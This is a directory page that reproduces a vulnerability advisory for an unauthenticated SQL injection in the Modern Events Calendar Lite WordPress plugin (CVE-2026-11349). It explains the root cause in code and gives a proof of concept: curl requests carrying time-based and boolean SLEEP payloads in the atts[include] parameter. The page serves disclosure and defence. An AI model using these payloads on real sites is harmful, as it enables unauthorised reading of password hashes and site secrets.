Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — حقن SQL بدون مصادقة | Kitploit
أدوات/GitHubGitHub/hann1bl3l3ct3r/cve-2026-11349
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقأمن قواعد البيانات
GitHubhann1bl3l3ct3r/cve-2026-11349

CVE-2026-11349

Modern Events Calendar Lite <= 7.33.0 — حقن SQL بدون مصادقة

عرض المستودع
112منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Modern Events Calendar Lite <= 7.33.0 — حقن SQL غير مصادق عليه عبر mec_list_load_more (atts[include] / atts[exclude])

الملخص

التفاصيلالقيمة
الإضافةModern Events Calendar Lite
Slugmodern-events-calendar-lite
المؤلفWebnus
الإصدارات المتأثرة<= 7.33.0 (إصدار Lite الحالي الموزَّع من البائع). الخلل موجود في كامل نطاق الإصدارات ما بعد w.org؛ تم تأكيده مخبريًا على 6.5.6 و7.33.0، وتأكيده بالتحليل الساكن (static) في 5.21.2. 6.5.6 = آخر بناء على wordpress.org (مجمّد منذ إغلاق 2022-05-11)؛ 7.33.0 = البناء الحالي الموزَّع من mec.webnus.net
التنصيبات النشطةالعدد مخفي في wordpress.org منذ الإغلاق؛ تاريخيًا أكثر من 100,000+. ما زال البائع يوزّعه ويحدّثه بنشاط (Lite عبر mec.webnus.net؛ نفس قاعدة الكود 7.x تقوم عليها نسخة MEC Pro المباعة حاليًا)
CWECWE-89 (حقن SQL)
الثغرةحقن SQL أعمى غير مصادق عليه (قائم على الوقت / بولياني / قائم على الأخطاء)
الصلاحيات المطلوبةلا شيء (wp_ajax_nopriv_* — قبل المصادقة)
تفاعل المستخدملا شيء
CVSS v3.17.5 (عالية) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
الحالةتم التحقق مخبريًا من النهاية إلى النهاية على 7.33.0 (الحالي) و6.5.6 (WordPress 6.6.5, MariaDB 10.x)
CVE / GHSACVE-2026-11349

الوصف

يسجّل Modern Events Calendar Lite مجموعة من إجراءات "load more" غير المصادق عليها التابعة لـ admin-ajax.php لجلود قوائم الأحداث (list, grid, masonry, agenda, timeline, tile, custom). يقرأ كل معالج صفيف الطلب atts الذي يتحكم فيه المهاجم، ويمرّره عبر دالة مساعدة باسم sanitize_deep_array() التي — عند استدعائها بوسائطها الافتراضية — لا تقوم بأي تنقية إطلاقًا — ثم يدمج قيم atts['include'] (وatts['exclude']) خامًا في مقطع SQL بصيغة post_id IN (...) يُنفَّذ عبر $wpdb->get_results() وبدون $wpdb->prepare().

نظرًا لأن نقاط الدخول مسجَّلة على wp_ajax_nopriv_*، لا يتطلب الأمر أي مصادقة أو حساب أو nonce أو تفاعل مستخدم. يمكن لمهاجم بعيد غير مصادق عليه حقن SQL تعسفي في جملة WHERE الخاصة باستعلام SELECT ضد جدول wp_mec_dates وقراءة أي بيانات في قاعدة بيانات WordPress (تجزئات كلمات مرور المستخدمين، أسرار/مفاتيح wp_options، بيانات الإضافات الأخرى) عبر تقنيات أعمى قائمة على الوقت / المنطق البولياني / الأخطاء.


السبب الجذري

1. "منقِّية" لا تنقّي شيئًا في المسار الافتراضي

app/libraries/main.php:9607:

public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // line 9615
        {
            $sanitized[$key] = $val;   // <-- RAW passthrough, no sanitization
            continue;
        }
        // ... (sanitize_text_field / (int) / esc_url / ... only reached when $excludes is non-empty)
    }
    return $sanitized;
}

حارس الشرط (is_array($excludes) and !count($excludes)) يجعل الدالة بلا أي تأثير تمامًا عندما يكون $excludes هو الصفيف الفارغ الافتراضي — إذ تُنسخ كل قيمة كما هي حرفيًا. كان القصد واضحًا «إذا وُجدت قائمة استثناء، فتجاوز تلك المفاتيح»؛ لكن المنطق البولياني يتجاوز كل شيء بدلًا من ذلك كلما لم يتم توفير أي قائمة استثناء.

2. المستدعي لا يمرّر $excludes

app/skins/list.php:499-501 (load_more()):

$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // line 501

يتم استدعاء sanitize_deep_array($_REQUEST['atts']) بوسيط واحد → $excludes يأخذ القيمة الافتراضية array() → فرع عدم التأثير أعلاه → $atts هو $_REQUEST['atts'] الخام وغير الموثوق.

3. الدمج الخام في جملة IN (...)

app/libraries/skins.php:

// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

يتم دمج عناصر الصفيف عبر implode() مباشرة في سلسلة SQL بدون تحويل إلى عدد صحيح وبدون تهريب (escaping). (كان تطبيق absint()/(int) على كل عنصر كفيلًا بإغلاق هذه الثغرة.)

4. التنفيذ بدون عبارة مُعدّة (prepared statement)

app/libraries/db.php:79:

public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // only swaps `#__` for the table prefix
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // line 87 — no prepare()
    // ...
}

السلسلة المبنية بالكامل تُسلَّم إلى $wpdb->get_results() كما هي.

مسار التلوث (الطلب → نقطة التنفيذ):

$_REQUEST['atts']                                       (attacker-controlled, unauthenticated)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (NO-OP: default empty $excludes)
  → MEC_skin::initialize($atts)                         ($this->atts = raw atts)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (no prepare)

قابلية الوصول

app/skins/list.php:51-52:

$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- unauthenticated

تسجيل nopriv يجعل نقطة النهاية قابلة للوصول قبل المصادقة. نفس بنية load_more() وباني الاستعلام المشترك في skins.php موجودان في الجلود الشقيقة، ولكل منها إجراء wp_ajax_nopriv_* خاص بها، لذا يمكن الوصول إلى نفس الحقن عبر أي من:

إجراء AJAX (nopriv)معالج الجلد
mec_list_load_moreapp/skins/list.php:497
mec_grid_load_moreapp/skins/grid.php:497
mec_masonry_load_moreapp/skins/masonry.php:229
mec_agenda_load_moreapp/skins/agenda.php:242
mec_timeline_load_moreapp/skins/timeline.php:242
mec_tile_load_moreapp/skins/tile.php:446
mec_custom_load_moreapp/skins/custom.php:233

لا يتم فحص أي nonce في load_more()، ولا يتطلب الإجراء وجود أي shortcode من الإضافة في الصفحة — إذ تُسجَّل معالجات AJAX بشكل غير مشروط عند التهيئة (init).


إثبات المفهوم (PoC) (مؤكد مخبريًا، MEC Lite 6.5.6، WordPress 6.6.5، MariaDB 10.x)

جميع الطلبات غير مصادق عليها (بدون cookie وبدون nonce). تُوضع القيمة المُحقونة في atts[include][]؛ تُغلق الحمولة القوسين المفتوحين لمجموعة IN ((...) AND (... IN ( وتُلحق OR <sleep> على المستوى الأعلى بحيث يُقيَّم الشرط لكل صف يتم فحصه، ثم تعلّق الجزء الختامي )) ORDER BY ...:

TARGET='https://victim.example'          # plain permalinks: use admin-ajax.php directly

# 1) Baseline (no injection)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) Time-based proof — balanced top-level OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) executed

# 3) Boolean oracle (true vs false)
#   atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#   → ~3.06s   (TRUE)
#   atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#   → ~0.04s   (FALSE)
تنزيل الأداة